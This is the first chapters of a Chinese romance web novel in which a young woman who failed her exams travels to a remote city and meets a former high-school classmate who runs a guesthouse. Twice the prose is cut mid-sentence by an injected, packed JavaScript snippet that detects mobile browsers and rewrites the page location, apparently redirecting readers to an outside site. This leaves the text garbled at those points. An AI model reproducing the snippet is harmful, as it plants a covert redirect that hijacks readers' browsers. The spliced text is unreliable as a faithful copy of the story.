《盛夏将至》 1. 寒冬的盛夏 《盛夏将至》 独发晋江文学城 今愉/2024.11.23 我在寒冬等待一个夏至。 - 2018年2月14日,情人节。 姜至下了高铁走出出站口,过来时知道西途一定会比清潭冷,但没有想到会这么冷,晚上八点的温度似乎比天气预报上写的温度要低很多。 西途是个旅游城市,景点大多集中在市区和西部的小县城里,姜至在比较偏僻的高铁南站下车,南站投入运营还没多久,规模也不算太大,站内有几家西途特产店和便利店没开门,环顾四周,目及所处几乎都是未消融的厚重的冰雪和连绵雪山,高大的楼房很少,失去建筑物阻挡的西北风更凛冽。 在出站口站了还没一分钟,马丁靴里的双脚就变成了两个冰块,腿上的两层加绒裤和身上花重金买的羽绒服在西部高原这股强烈的“妖风”下根本不起什么作用,就像没穿衣服一样。 从清潭到西途这一路见证了平原山地,戈壁雪山,先是坐飞机,下了飞机之后又坐高铁,在路上就快要花费了一天时间。 然而,姜至还没有真正到达要去的目的地,接下来还要再坐一趟客车去县里。 姜至摘下帽子抓了抓头发,原本乌黑柔顺的长发变得乱糟糟,她站在原地曲了曲腿,坐了一天,腿都要肿了,膝盖传来酸胀感。 姜至无比庆幸自己没有因为省钱而选择买火车票,买票时火车硬座硬卧都已经没有了,软卧超出预算,站票倒是有,不过要站九个小时,她估摸着自己的体格绝对受不了,索性咬牙狠心买了张高铁票,买完看着自己银行卡的余额,实在是觉得肉疼。 此刻也已经一天没怎么吃东西,满身疲乏,又饿又冷,收拾行李时把该带的保暖用品都带上了,唯独忘记带一副手套,裸露在寒风中的双手被冻得通红,亟需一杯暖手的热饮,但这四周……连个超市的影子也看不到,她这人向来分不清楚东南西北,现在连该往哪边走都不知道。 晚上气温虽低,但出站口旁边仍旧三三两两站着几个拉客的旅店阿姨和黑车司机,见姜至站在出口四处张望纷纷围上来问她要不要住店,单人房24小时热水供应,问她上哪儿去,要不要坐车。 他们的普通话不太标准,姜至听得迷迷糊糊,而且现在是晚上,自己一个人也怕不安全,摇摇头,看着导航去找出租车等待区。 手机掉电很快,姜至忍着一天没玩,打开流量后冒出很多消息,家人的,朋友的,还有梁嘉西的。 梁嘉西的消息是99+。 这两天事情都赶在一起,忘记删掉这个人。 姜至忽然发现当她的生活一团糟时,“梁嘉西”是最不容易引起她情绪波动的,她对这个人的情绪很淡,生气和恨都只是一时,无论发生了什么,很快她便会将梁嘉西抛之脑后。 这才没几天,但她再次看到这个名字,内心已经能做到毫无波澜了。 南站没有建地下停车场,出租车等待区都在室外,离出站口大概几百米的距离,拐过弯,姜至先闻到一阵香甜浓郁的烤红薯味,让人口水疯狂分泌。 几个人正往进站口的方向走,手里拿着热气腾腾的烤红薯,橙黄果肉粉糯,冒着甜滋滋的红薯蜜。 胃里一阵抽动,姜至收回目光,加快步伐。 按照在路上预先做好的计划,她本打算下了高铁立马就去坐客车到县里,不管多晚,先安顿好自己再说,但没想到这次走长途让她体力迅速告罄,只想赶紧找个地方先填饱肚子暖和暖和。 今晚到站的人虽然不算太多,但或许是天气太冷路面有冰,运营的出租车很少,姜至等了很长时间才排上一辆出租车,往后备箱放好行李打开后座车门,又猛然想起来还忘了带一个非常重要的东西—— 口罩。 车上说不清具体到底是什么味道,劣质皮革坐垫的味道混着汗臭味和浓重的烟味,还没坐上车,扑面而来的复杂气息往鼻息里一钻,姜至喉咙一紧,差点要吐出来,本就苍白的脸色愈加难看,什么东西也不想吃了,饥饿的感觉全都跑空。 她瞬间改变想法,觉得自己现在最需要的是洗个热水澡冲掉身上糟糕的气味。 不愿在寒风中多等,姜至屏着呼吸坐上车,开始搜酒店。 幸好问过闺蜜乔映谣,她在西途支教时常出来闲逛,姜至顺手保存了一些她安利的地方。 但是……都太贵了。 她现在卡里资金不多,都是平时攒下来的,不能再像从前那样花钱大手大脚了。 姜至顺着相关推荐往下滑,停留在一条视频推荐上。 是间民宿,价格自然没有酒店那么贵,室内装修看着很舒服,环境也不错,评论都在夸,而且夸的不止是民宿环境和服务,还有……民宿老板? 都在夸老板人特别好,细心周到,长得很帅,有条评论配了张背影图,看着身形高大挺阔,典型的衣服架子身材。 姜至点进详情里看到这间民宿名字,几乎是立刻就决定了去这儿。 她把手机递到司机面前:“到这里,盛夏将至。” 车内开着空调,窗户一关,那股味道在热气蒸腾下更加浓郁了,姜至第一次切实感受到晕车是什么滋味,降下车窗,冷风飙进车里,眼睛被吹得干涩,泪珠流下来,在脸上划出两道水痕。 其实很不愿这样想,但她稍稍有点后悔就这么突然地来到西途,这个人生地不熟,离家上千公里的地方。她对未来充满了忐忑,做出决定时的那份果断有些动摇,没想象之中那么容易接受现状,需要一些时间适应。 电话就是在这时响起的,姜至点接听,没想到还未回温的手指不听使唤,一不小心给挂了。 几乎下一秒电话就重新拨了过来。 呼呼作响的冷风中,一道声线在呼啸的嘈杂中显得格外清晰,“姜至,你现在在哪儿?” 很严肃的语气。 每次任丽娟用这种不怒自威的语气叫她的全名说话,就证明她生气了,更何况她刚才还挂了她的电话。 姜至升了半扇窗户,把脸靠在湿漉漉的车窗上,“妈妈,我已经到西途了。” 电话那头沉默住。 隔几秒,换了个人接。 和任丽娟不同,姜如峰无论心情是好是坏,面对女儿时说话语气都是十分温和的,不过此时,稍带了些焦急,“闺女,先回家,爸爸给你订票。那个地方太远了,你自己一个小姑娘不声不响地过去太危险,咱们家在那边没有熟人,你住哪儿?而且现在还不到报名的时候,爸爸不是说不同意你去西途,咱们得先商量商量吧!” 不关窗户风声太大听不清电话声,但是关上窗户就被熏得头疼,姜至掐住鼻子,眼眶又热了,憋了半天,委委屈屈憋出一句:“前天我跟妈妈谈过,她很明确地说不会同意,我说什么她都不听,如果我回去她只会更生气。” 前天晚上,姜至和任丽娟之间爆发了一次非常激烈的争吵,两个人谁也不肯先服软,其实自打过年那会儿她们俩就隔三差五的拌嘴,任丽娟和姜如峰都在体制内工作,逢年过节总会有人来家里做客,每次过春节都是姜至最煎熬的时刻,今年更是煎熬。 原因无他,这一年里姜至经历了考研失败,考公失败和考编失败。 最接近进面的一次,只差0.7分。 从小到大一直名列前茅,顺风顺水考进国内top大学清潭大学王牌专业汉语言文学的她,第一次遭遇三连败这样的滑铁卢,考公考编失败后也投递出去一些简历,不过如同石沉大海,毕业后变成了在家待业的啃老族。 所以每次被亲戚盘问,她一说哪个单位也没考上,免不了就要遭一顿说教,他们说她还是不够努力,又建议她不要把眼界放太高。 打完巴掌之后,还不忘再给两颗甜枣,他们说没关系啊一次不行就再来,总能考上的,别灰心,还建议她广撒网,时不时又分享一些招聘信息给她。 那是姜至无比煎熬的时刻。 更煎熬的是,亲戚朋友走后,那些说教仍不能停止,妈妈会给她支招报哪个单位的岗合适,爸爸却支持她二战考研,到国外去读也可以,然后他们俩会在“接着考公还是接着考研”这个问题上产生争执,可在这个问题上,她才是那个有决定权的主人公…… 这些话她听了快要一年,听多了就觉得心里很燥,很沉,身边的同学朋友早就拿到 offer挣钱到处旅游了,她只能看着自己不上不下的分数发愁下一次要是再差一分进面该怎么办,其实也有点愧疚,毕竟一直以来都在伸手找爸妈要钱花,虽然他们俩什么也没说,但她能看出来,每次笔试失败,爸妈嘴上说着没事下次再来,心里却还是失望的。 就在前天,姜至提出要报名西部计划,之前提起都是抱着试探的态度,但这次她是来真的。 这件事在她这儿不是一时头脑发热的冲动,她已经深思熟虑很久了,在大学里也听过很多学长学姐的经验讲座,而且乔映谣参加了学校的支教保研,就在西途,姜至经常收到她发来的图片和视频,觉得很锻炼人,说实话,她长这么大从没离开过父母,小学高中大学都是在本市,离家最多二十分钟的路程,很想出去闯一闯,或许换个环境就不会想那么多了,也能有更多选择,这才动起报名的念头,决定和任丽娟商量商量。 没想到任丽娟一听就说:不行。 反应格外强烈,态度格外强硬,一句话就否决掉姜至做了好几个月的资料和准备。 她说:“不要浪费你现在的应届生身份,西部计划没有编制的,那是合同工,顶多干三年就回来了,三年之后你能得到什么?除了一个基层工作经历以外,什么都得不到啊!等你失去应届生这个身份,想再考公就难了,非应届生岗位少,分数又高,难度比你现在要大得多!” 她还说:“再说那边条件肯定是比不上清潭的,在家里吃住都方便,去那边吃不好,睡不好,你连做饭都不会,衣服都是我给你洗,房间都是我给你收拾,自己一个人怎么过?家里不缺你一张吃饭的嘴!” 到最后,这场争吵让她变成了一个情绪崩溃不知道该怎么跟父母沟通的神经病,明明她不是那样的人。 凛冽的西风把脸上泪痕吹得冰冷,姜至感觉自己的眼睛和整张脸都是麻木的,听见前面司机说:“太冷了,把窗户关上吧。” 说话间,后座窗户被关上了,姜至捂着话筒,又把车窗放下,“车里有很大的味,我怕吐您车上。” 司机掐灭烟,不再说话了。 手机在低温下迅速掉电,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050645|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至本想挂断,姜如峰见劝说无果,又换了第三个人。 姜至是真没力气应付了,那边却说:“压岁钱那张卡也没拿着,你手里没钱打算怎么活?” “姐,我已经投了简历,提前来这么多天就是为了面试,先把生活费挣出来,妈妈说我离了他们活不下去,可是我总不能一辈子都靠他们吧。大不了先去摇奶茶端盘子,等报上名走完流程有了职位就有稳定工资了。” 任欣然倒是平静,“我支持你,但是至至,不要把事情想那么简单,任何工作都没有你想象中那么好找,也没你想象中那么好干,别为了证明自己去跟妈妈怄气。我知道她对你经济制裁了,也说了很不好听的话,我不替她说话。出门在外,不能委屈自己。钱我转你了,算是借你应急的,以后手头宽裕就还我,西途不比清潭,那地方我们都不了解,没人和你照应着,你把自己管好,该花钱就花,有事就给我打电话。” 任欣然大她八岁,随任丽娟姓,她随爸爸姓,姐姐从小到大都在爸妈的安排下一步一个脚印走得稳稳当当,前年刚结婚,工作稳定,生活稳定,所以任丽娟把自己所有关注都放在了她这个小女儿身上,希望她也能像姐姐一样省心,但偏偏她并不省心。 “听话,把钱收了,不要钻牛角尖,想找工作挣钱的前提是你得把自己养好,没钱怎么养?也不要怕妈妈说你拿我的钱是靠家里养自己,我说过了这钱是借你的,”任欣然强调:“我就说这么多,今天折腾一天,晚上一定要找个安全的地方好好歇脚,调整好情绪,不要怕花钱,西途比咱们这边冷多了,你自己多注意。” 任欣然是个很利落的人,说完,挂了电话。 既来之,则安之。 来了她就不后悔,摆在眼前的现实也没有留给她那么多伤春悲秋的时间。 她需要让自己迅速恢复正常。 姜至抽噎几声抹干净眼泪,看向窗外。 出租车已然驶离远郊进入喧哗市区,黑漆漆的天也变得流光溢彩,闪烁的霓虹灯让这座城市的夜晚热闹起来。 道路两旁有各式各样的冰雕,房屋建筑风格迥异,屋顶上盖着厚厚的雪,路的前方是白皑皑的山和草原,一眼望不到边,视野开阔,渺远,西途的确是个很美的地方。 鼻尖一凉,姜至仰头看,纷纷扬扬的雪花斜斜坠落。 出租车恰好在这个时候停在道路尽头的民宿前,那是一幢两层小楼,大门口右边挂着招牌:“盛夏将至”。 小院搭着天棚,有好几个葡萄架,看来老板是个挺有情调的人,还在院里建了花园种满了花,修了小吧台,上头摆着乐器和酒水,不知道哪里在放歌,是首老歌,《月半小夜曲》。 屋外墙上挂了暖橙色壁灯,也给姜至的脸上蒙上暖黄。 更稀奇的是,小院里居然有道小水渠。姜至一进院就听见有哗啦哗啦流水的声音,低头一瞧,那道水渠紧挨着花园流淌,明明是寒冬时节却也没结冰,徐徐散着白雾气。 在这个到处是雪白的城市,这个民宿真像是在过灿烂的夏天。 姜至双手推着行李箱,走进这家开在冬天里的“盛夏将至”。 屋里果然暖和的像是夏天,而且非常干净整洁,大门左边是沙发休闲区,装着室内壁炉,右边是小咖啡厅,有很浓的咖啡香,地板一尘不染,姜至在门口的地毯上用力跺了跺脚抖掉鞋上的雪,套上一次性鞋套,正要把行李箱推进去,又想到行李箱轮子也是脏的。 在她弯着腰犹豫的那几秒里,一双修长宽大,骨节分明的手出现在视线中,手背青筋蜿蜒,微微蜷紧,握住了她的行李箱拉杆,同她的手挨在一起,只差几厘米的距离。 那么一对比,姜至觉得她手好小,似乎可以轻易被他一只手包住。 对方轻轻松松把她两个行李箱拎进屋里。 姜至一抬眼,才发现他居然穿的黑色短袖,使力时双臂肌肉略微胀起,贲张的线条很有力量感。 这个背影,应该就是老板了。 看照片看不出来,没想到他本人这么高,姜至净身高167,穿着一双马丁靴大概只到他嘴唇的位置。 她连忙出声:“谢谢。我预定了一个房间,办下入住。” 老板转过身。 姜至对上他的目光,眼睫轻颤了下,一时怔愣,很多细碎的记忆涌出来。 她有点不确定,不敢认,毕竟已经五年没见过了,而且,她和他并不算熟,同窗三年的熟悉也就那么一点点,不过此时,那些熟悉感穿越五年的岁月长河,重新慢慢地流淌出来。 他的眉眼一直很好看,高中时在那些灰头土脸长青春痘长胡子的男生中就像是鹤立鸡群般打眼儿,比印象中高了,身形壮了,肩膀又平又直,头发剪得利落干脆,整张脸五官也要比以前更深邃。 其余好像没怎么变,他这人的气势看上去一直都很稳。 静谧的空间里,只有壁炉烧柴火发出细微的噼里啪啦的声响,咖啡厅的操作台上定时开始烧热水,滴答一声,机器嗡嗡运作,他们就这样在短暂的几秒钟里沉默地看着对方。 姜至心里打鼓,觉得他凝望着她的眼神不像是看陌生人,尝试叫了一声:“李惟钧?” 她笑起来,眼睛弯弯的,“你还记得我吗?我是11班的姜至。” 2. 冬与春的距离(1) 烧水机嗡嗡运作的响动渐渐弱了下来,沸腾的水咕噜咕噜,直到彻底停止,恢复安静,姜至那句自我介绍就变得格外清晰。 除此之外,李惟钧听到耳膜中传来怦怦鼓动的声音,像是从很远的地方归来的心跳,一声一声愈发强烈。 怦怦,怦怦,怦怦。 时隔多年再次听到姜至叫他的名字,李惟钧觉得有些恍惚。 高中毕业后,他一直日复一日地重复做那么几件事,总觉得时间过得好慢好慢,如今见到姜至才发觉,那五年仿佛是昨天,好像一眨眼就过去了,此刻他仍然身处在盛夏的清潭市,坐在清潭一中高三11班的教室上晚自习。 那时候,姜至的头发还没有现在这么长,梳起高马尾后,头发有些自然卷。她当值日班长坐在讲台上盯晚自习纪律时,总是用食指缠着自己的发尾玩,皓腕翻转,绕啊绕,绕啊绕。 那时候,他的晚自习作业永远都是晚上回宿舍熄灯后熬夜补的。 那时候,一切都还没有发生。 姜至脸上的笑意渐渐放浅,握着托特包背带的右手收紧,有些迟疑,琢磨着该不会是自己认错了吧,又或者是,他把她给忘了…… 李惟钧恍然回神,收拾好自己的情绪,同样笑着点了点头,喉结划过干涩的喉咙,很温和地回了句:“姜至,好久不见。” 果然是他。 姜至怎么也不会想到她会在遥远的西途,遇见五年未见的高中同班同学,尤其是遇见李惟钧。 她什么都没有多想,首先出现在脑海里的情绪是惊喜。 或许是同在异乡为异客,在这个陌生的地方能遇到一个认识很多年的人,尽管他们许久未见,她的内心还是下意识产生了一丝亲近感,身体的疲乏暂时被新奇和喜悦取代,心情好了许多,跟他开玩笑:“吓我一跳,刚刚你半天不说话,我以为你把我忘了呢。” “不会的,”李惟钧摇摇头很快反驳她,停顿了下,漆黑目光重新放在她身上:“我是没想到你能这么快认出我。” 姜至似乎明白他这话的意思。 上中学时,往往有两类学生最能让人记忆深刻,一是学习成绩特别好的,二是调皮捣蛋的。 但李惟钧是个例外。 李惟钧学习成绩很好,可是在班里的存在感却很低。 他个性比班里其他男同学要沉稳的多,又是住宿生,几乎每天都在埋头学习,再加上个子高,排座位也总是坐在教室最后,除了课间和别人打球之外,姜至很少见李惟钧有什么活跃时刻,他向来不怎么主动表现自己。 而且姜至偶然听到过一些男生在背地里悄悄说他坏话,他们说李惟钧这人就是太骄傲,成绩常年在班里排前三名,所以眼高于顶不屑于跟别人来往,谁也瞧不起,好学生都是这样,自满,清高,也就那些情窦初开的小女生被迷的五迷三道。 然而,李惟钧从未对这些言论有过反驳或是什么出格的情绪,像是懒得分出精力去搭理他们,始终温和地对抗一切朝他涌去的浪潮。 总之除了成绩亮眼,老师经常夸他之外,他在班里是真的“低调”。 后面高中毕业了,“李惟钧”被提起的次数更是少之又少,他没参加谢师宴,最后一次班会课也没来领个人档案,之后更没参加过同学聚会,也从没在班级群里说过话,高考结束后像是消失了一样。 在姜至的记忆里,他们俩高中很少说话,同班三年,说话次数一双手就能数得过来,大概不超过十次,但通过那仅有的几次接触来看,姜至觉得他这人单纯就只是话少而已,完全不像是别人口中说的那么骄傲,木讷。 正如此刻,她完全不知道该怎么接下李惟钧那句话。 “很正常呀,”姜至心里尴尬,面上却不显,双手无意识握着拳,身子轻晃了两下,“你有时候考得比我好嘛,咱们俩的成绩总是被放在一起比较啊。” 李惟钧看着她轻晃的动作,这代表她在尴尬,他猛然意识到自己刚才的问题不好回答,差一点就把天儿聊死了,便没在这话题上多说,到一旁咖啡厅拆了个新的运动水杯,接了半杯热水,“还有空房,待会儿可以上去挑一挑。” 他盖好盖子,把水杯递给她,视线划过她那两个又沉又重的行李箱:“你是来旅游的?” 姜至双手捧着杯子,掌心传来源源不断的暖意,冰凉的手逐渐回温,然而……心里却凉了,又不知道该怎么接他的话了。 她忽然反应过来,素面朝天赶了一天路,刚刚还坐了一辆“臭车”,衣服上被熏得都是那股难闻的味道,自己现在肯定很狼狈,而她并不想在李惟钧面前暴露出自己的狼狈,毕竟她不是来旅游享受生活的,某种程度上来说,她是来逃避的。 更不必说当年和她成绩不相上下的男同学现在都已经是民宿老板了,甚至当年初高中和她同班,但是学习成绩远不及她的同学现在都好好读上了硕士,找到了好工作,而她还只是一个无业游民。 那可恶的,丢人的羞耻感后知后觉涌上来。 姜至按了下按钮,杯盖“砰”一声弹开,她低头,想喝口水。 李惟钧拦住她:“刚拆开的新杯子,没有洗过刷过,是给你拿着暖手的。” 姜至稍愣,双手收紧。 怪不得网上评论都夸老板人很好,他是挺细致的。 李惟钧指了指她冻红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸好只在这里住一晚,姜至想,不然这么安静,她简直要被他闷死。 李惟钧这性格还真是一点没变,上高中就这样。 他们俩都是班干部,偶尔有两三回在一起搭档干活,每逢合作总是她问一句他答一句,她不问他就保持沉默,什么话也不说,搞得她也不好意思跟他聊天。 闷葫芦一个。 确实是白瞎了那张脸。 仅有一次李惟钧主动找她说话,是在高一下学期,姜至模模糊糊记得是她过生日。 3. 冬与春的距离(2) 那天是2011年6月22号,高一下学期暑假前夕。 正好赶上学校活动课,家长可以隔着学校大门给孩子送东西,任丽娟专门买了一个蛋糕带到学校来,让她和同学一起过生日。 上活动课之前,班主任把班干部叫在一起开了个会,但结束的有些晚,从办公室出来教室已经没人了。 姜至放完记录本着急忙慌往外跑,正要走出教室门口,迎面撞上李惟钧。 他一副有话要说的样子。 “怎么了?” 语气有点着急,任丽娟和陪她一起过生日的朋友都在等着她,姜至怕她们多等,而且活动课本来也没多长时间。 课桌抽屉里的东西忽然哗啦哗啦掉出来,过生日收到很多零零碎碎的礼物,姜至没来得及收拾全都放到了抽屉里,她匆匆忙忙把东西捡起来,想着正好让任丽娟带回家,便找了个书包把礼物装进去,站起来时,李惟钧刚好走到她附近的位置,看见她拿了一书包的礼物便说:“没事儿,你要有事的话就先走。” “登成绩是吗?要不你先把语数外和政治弄好,剩下的我来。”姜至琢磨着应该是这件事,刚才班主任把这活交给他俩干了。 李惟钧顿了顿,然后把目光从她手里的书包上移开,点头:“行。” 姜至归心似箭,他一点头立马就窜了出去,头也不回。 等吃完蛋糕再回教室,九科分数早就已经登记完,他把她的活也干了,姜至特别不好意思地去道谢,李惟钧很客气地说不客气,然后放下笔,本就笔挺端正的上半身此刻更是挺拔,模样特别诚恳地跟她说:“生日快乐,姜至。” 那是李惟钧第一次主动叫她姜至。 那也是姜至第一次收到如此“庄重认真”的一句生日快乐,以至于她到现在都记得很清楚。 记忆归拢,几年后回想起那天,姜至才忽觉李惟钧找她似乎是有别的话要跟她说,不止是登记成绩,但被她打断了。 而且他用那副严阵以待正儿八经的模样说生日快乐,还有点搞笑。 想着想着,姜至嘴角弯了弯。 她自己都没想到,许多年后的今天,会被这闷葫芦逗笑。 而且今天,恰好是2018年的情人节。 李惟钧瞥见她在笑,这次是发自内心的笑,不是客套,人也没有了刚进门那么疲惫,内心的紧绷感才慢慢缓解了点。 养生壶咕嘟咕嘟冒出水泡,他手心也冒出了汗。 没想到那么多年过去,还是这么没出息。 茶要煮一会儿,李惟钧抽了张纸巾擦干手,问姜至:“要先上去看看房间吗?” “好啊,我刚刚在网上订了一间单人房,住一晚。” 李惟钧提上她的两个行李箱,姜至忙道:“太沉了,你……” 他看了眼阻拦他提箱子的手,抬眼,极浅地笑,“姜至,不用跟我客气。” 不知怎么,姜至满脑子都是他跟她说生日快乐时的严肃脸,即使他现在在笑,她依然觉得这个笑很认真。 她收回手,也就真没客气,跟在他身后上楼,目光落在他轻轻松松的挺拔背影上,同时也无可避免地看见手臂有力的肌肉,但那并不夸张,不是整日泡健身房练出来的,离得近了姜至才注意到他手肘上有道极细的疤,不深,但是很长。 李惟钧同她介绍:“房间每天都有人打扫,床上用品也是新的,WiFi密码床头柜上有,如果需要什么东西可以来找我,我就住一楼咖啡厅旁边的房间。” 二楼一共有八个房间,李惟钧把箱子放好,挨个开门给她看,“有两间房今晚有人住,其他房间每间的风格都不一样,你可以选选。” 装修的太好了,漂亮又干净,屋子里也没有任何异味。 “这房间两张床,我住浪费了,”再说她只住一晚,明天一早就走,对他这个民宿也非常满意,没必要挑三拣四,“给我一间小点的屋子就行。” 姜至随着李惟钧往里走,越看越好奇,稀罕道:“你是这儿的老板吧,怎么跑西途来开民宿了?” 李惟钧停在靠阳台的房间旁边,打开房门,屋里昏暗,他侧对着她,姜至看不清他的脸,“是我妈开的,这之前是个小旅馆,我去年刚接手过来改成民宿。” 怪不得。 这民宿看上去温暖又透亮,几乎没有任何暗色的家具,无论看哪里感觉都很舒服,如果白天阳光照进来应该更养眼,摆放的装饰用品也实在不像是一个男人选的—— 他头发微寸,穿了件黑T,工装裤和鞋子都是卡其色,一副人高马大的样子。上楼前经过他的房间,姜至从半敞的门缝中不经意瞥了眼,他房间是极简式装修,就像他这个人,果断又利索。 插上房卡,屋子里的灯亮起来,姜至立刻决定就住这间,她迫不及待想进浴室洗个澡,“我先下去跟你办入住。” 李惟钧把行李箱推过来,“没事儿,等你收拾好东西再说,正好待会儿茶也煮好了。” 姜至关上门,从箱子里找出一套干净内衣裤,拿了睡衣正准备进浴室,门被敲响,李惟钧在外面出声:“是我。” 姜至连忙把手里的东西扔回去,用衣服盖上,打开门。 他拿了一个小篮子递给她,“如果没准备洗护用品可以先用这些。” 这也太齐全了,居然连干发帽都有。 姜至头回见到有民宿是这么周到地对客人的,她探头往浴室架子看了眼,好笑地说:“浴室有呢。” “那是给客人用的,这些是新的,别人没用过。”李惟钧说:“洗漱台上一次性的牙膏牙刷也没这个好用。” “那谢谢了,”反正沐浴露什么的正好也得买,刚好省了她逛超市,姜至接过来,调侃道:“李老板,要像你这么干,民宿还能挣钱吗?” 李惟钧说:“别人没这待遇。” 姜至没多想,“原来老同学这身份那么好使啊?” 李惟钧轻轻笑,“嗯,好使。” * 舒舒服服洗了个热水澡,姜至感觉整个人都活过来了,身上香喷喷的。 她把头发吹了半干,从小篮子里拿出护发精油挤在手上,一边捋头发一边想,这简直太魔幻了。 他送来的洗发水和沐浴露姜至之前用过,国外挺小众的一个牌子,还挺贵的,明显跟浴室架子上放的那些不是一个档次。 没想到李惟钧居然有这些东西,但他应该不会用这些女生才用的东西吧,女朋友的? 姜至一颗八卦的心蠢蠢欲动,但他不是那种会跟别人聊八卦的性格,更何况,他们俩也没熟到那种地步。 姜至在高中听到过一些女生说他性格内向又冷淡,跟他说话时他连看都不看你,太嚣张了,也不知道是不敢看还是不想看,真不好接触,但吐槽完又咬着牙说,该死的,可是那张脸和那个身高体型是真绝,身姿永远笔挺如松,像一棵屹立不倒的松柏,又像是一棵修竹。 人也如此,很干净,很淡然,实在想不出他谈恋爱是什么样子。 姜至甩甩头,长发上玉兰油的味道淡雅清爽,视线一转,看向衣架上那几件有味道的脏衣服,觉得自己操心太多了,有这功夫还不如操心操心自己。 关上房门下楼前,姜至想了想,又折回去找了件外套披上,心里盘算着那堆洗护用品的价格待会儿转给他,但她还没有他的微信。 要不直接扫店里的收款码? 那样又不太好。 “茶已经温了,来喝点儿吧。” “这里有洗衣机吗?我想 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姜至心里犹豫,齿尖轻啮着口腔软肉,琢磨要不要跟他说实话,虽然李惟钧这人很闷葫芦,应该也不会到处乱说,但她还是不愿一股脑全告诉他,实在觉得难以启齿,抿抿唇,说:“不是,我得在这儿待上一阵子,明天就要去县里,良平县。离这儿远吗?” “开车大概半小时。”李惟钧觉出不对劲,但没有多问,“良平湖是个挺漂亮的地方,有时间可以去转一圈,那边山比较多,尤其西边山区的村寨还没怎么开发,最近室外温度很低,会下大雪,安全起见能不出门就先别出门。” “好,”姜至应声,又催他把红包收了,“快收了吧,这些得花不少钱,不能白让你忙活啊。” 李惟钧看上去是真不太想赚她这个钱,无所谓地笑:“都说了是老同学,老同学在我这儿有优待。” “那房费必须要收!不然我真过意不去的。”姜至从手机壳里拿出身份证,里头塞着的照片跟着一起掉出来。 是她和梁嘉西拍的大头照。 没想到还是有漏网之鱼。 姜至飞快把照片捡起来捏在手心里,拿着身份证在李惟钧眼前晃了晃,“快办下入住。” 手心的照片已经皱成一团,李惟钧视线扫过,面上失笑,想说真不用跟他客气,但这话已经说过一遍了,姜至是个挺有原则的女孩儿,再来一遍估计会让她下不来台,那样她对他会更不好意思。 他最怕姜至跟他不好意思。 于是作罢,拿了身份证去前台录入。 身份证上的证件照不知道是什么时候照的,李惟钧是第一次见到有刘海儿的姜至,多看了两眼,“明天几点走?” “八点吧,醒了就走。” “需不需要我送你过去?” “依然是老同学优待?”姜至没忍住,开起玩笑,“李惟钧,你也太实在了吧!要是遇见一个贪小便宜上瘾的同学过来那不得亏死啊,送我的话你这店怎么办?” “今天是情人节,店里两个帮忙的朋友都跟对象过节去了,明早他们准时上岗。” 姜至第一反应是:所以他是单身? 她对自己无语,八卦用错时候了。 其实心里确实有点纠结,真的不想再打一辆臭车了。 李惟钧宽慰一笑,“你大老远跑过来,人生地不熟,我对这地方很熟悉,怎么走都清楚,这样明天你能省点儿力气。” 这番话简直说到心坎里,她正愁自己对这地方不熟,而李惟钧是她唯一可以信赖的,她对他完全没有警惕心。 姜至没再纠结:“行!那麻烦你送我一趟了,明早八点咱们准时出发。” 4. 冬与春的距离(3) 洗好衣服再烘干,已经到了夜里十点多,姜至早饿得前胸贴后背,刚才看了一圈外卖,因为现在外面在下雪,许多商家都不配送,等会儿只能去趟超市买点泡面零食垫肚子了。 姜至抱着衣服,推开门,眼睛往前一瞟,脚步跟着定了一瞬。 洗衣房对面就是厨房,此时厨房开着门,李惟钧就站在灶台前做饭,脖子上挂了一条围裙,食材在一边摆得整整齐齐,左手手掌撑开,试了试平底锅温度,随后打了两个鸡蛋到锅里煎,单手打蛋的动作熟练,手再一抬锅,煎蛋翻了个面。右手举着锅铲轻轻在陶瓷汤锅里搅动,汤底和煎蛋的香气弥漫整个空间,张牙舞爪地朝姜至扑过来,煎蛋滋滋啦啦的声音更是让她饥肠辘辘。 他关上火,扭头问她:“没控制好量,面煮多了,一起吃个夜宵吗。” 虽是问句,但是陈述语气。 姜至肚子已经在叫了,瞄了眼锅里咕嘟咕嘟冒着热气的面条,他好像确实做的有些多,正中她下怀。 “有小一点的碗吗?”她指指李惟钧手里的碗,“我饭量不大。” 李惟钧点点头,“有没有忌口?葱花香菜要不要?” “可以不放葱花吗!” “好。” 姜至小跑着去把衣服放好下楼,李惟钧从厨房出来,一手端了一碗面,她那碗比他小一号。 “我来我来。”她上前接手。 李惟钧躲开,“烫,别倒手了,你去餐桌坐着就行。” 两碗面色香味俱全,放了很多配菜,汤底是红色的,感觉像是番茄底,但又没有番茄味,李惟钧摘下围裙,“不辣,我用西红柿炝的锅。” 光是看着就要流口水了,姜至向李惟钧投去感激一笑,“那我开动了。” 李惟钧弯唇:“不知道合不合你的口味。” “太好吃了!”姜至喝了勺原汤,简直要被香死,胃里也暖暖和和的,直直朝他比大拇指:“你有这手艺去开饭店也能红红火火!” 李惟钧松了口气,把辣椒油拿来,“这是店里做饭阿姨自己炸的,可以吃辣的话就尝尝。” “平时不是你做饭?这么好吃,我还以为民宿的饭一直都你做。” “我基本上没给客人做过饭,有时候忙,顾不上,就请了个人来。” 姜至吃得开心,人彻底放开了,心也彻底打开了,目光转了转,抄起桌上水杯冲他举着,架势跟敬酒一样,语气豪爽,“多谢李大厨!真没想到能在西途遇到你,本来我还觉得自己一个人挺孤单,但我还是很幸运的嘛!” 李惟钧放下筷子,也给自己倒了杯水,“砰”一声和她轻轻碰了下杯,、眼睛浸润着盛夏将至的温柔,噙着笑意跟她说:“很高兴在西途见到你,姜至。” * 或许是屋里温度很高,又或许是聊得太嗨太激动,面吃完,姜至回到房间一照镜子才发现脸蛋红得像喝醉了酒。 